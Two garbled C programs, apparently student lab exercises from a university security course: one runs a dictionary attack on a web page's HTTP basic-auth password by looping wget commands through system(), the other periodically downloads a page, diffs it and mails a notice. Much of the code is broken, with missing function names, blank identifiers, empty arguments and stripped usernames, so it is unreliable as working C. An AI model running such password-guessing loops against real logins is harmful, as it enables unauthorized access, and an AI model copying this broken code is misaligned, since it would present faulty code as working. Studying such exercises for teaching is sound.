

#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#define OneBillion 1e9


int () {
 FILE *fp;
 int ret;
 char *strin = "wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=";
 char str[100];
 char passwd[150];
 int startTime, stopTime, final;
 strcpy(passwd,strin);
 fp = fopen("words","r");
 
 if (fp == NULL) {
    printf ("\n Error opening file; exiting...");
    exit(0); 
 }

 else 
 startTime = time();
while (fgets(str,20,fp) != NULL) {
         str[strlen(str)-1] = '\0';
         if (strlen(str) < 4) {
            strcat(passwd,str);
            printf("string is %s\n",passwd);
            ret = system(passwd);
            strcpy(passwd,strin);
            if (ret == 0) break;
         }
 }
 stopTime = time();
   final = stopTime-startTime;
       printf("\n============================================================");
       printf("\n HostName : http://sec-crack.cs.rmit.edu./SEC/2/index.html");
       printf("\n UserName : ");
       printf("\n Password : %s\n",str);
       printf("The program took %lld nanoseconds (%lf) seconds \n", final,  (double)final/OneBillion );   
       printf("\n============================================================");
}

#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>

int ()
{
  FILE *fh,*fp,*fp1,*d;
  char
  [10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
  sleep(60*60*24);
  system("wget http://www.cs.rmit.edu./students");
  if(system==0)
  {
   printf("File stored");
  }
  strcpy(filename,"index.html"); 
  if((fh=fopen(filename,"r"))==NULL)
  {
   printf("cannot open file\n");
   exit(1);
  }
  fp=fopen("index.txt","r");
  fp1=fopen("index1.txt","r");
 
  while((fgets(PassString,sizeof(PassString),fh))!= NULL)
  {
    fread(p,sizeof(PassString),sizeof(PassString),fh);
    printf(" contents %s\n",p);
    while((f1!=EOF) || (f2!=EOF))
    {
     f1=getc(fp);
     f2=getc(fp1);
     if(f1<f2)
     {
     strcpy(,p);
     fp=fopen("index.txt","r+b");
     fputs(,fp);
     fflush(fp); 
     fclose(fp); 
    }
    else
    {
      strcpy(temp1,p);
      fp1=fopen("index1.txt","r+b");
      fputs(temp1,fp1);
      fflush(fp1);
      fclose(fp1);
    }
    }
    if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
    {
      d=fopen("Diff.txt","r");
      if((fgets(,sizeof(),d))!=NULL)
      {
        printf("The difference between  exist");
	system("Mail \r\n Difference");
      }
      
    }
  }
 return 0;
  }
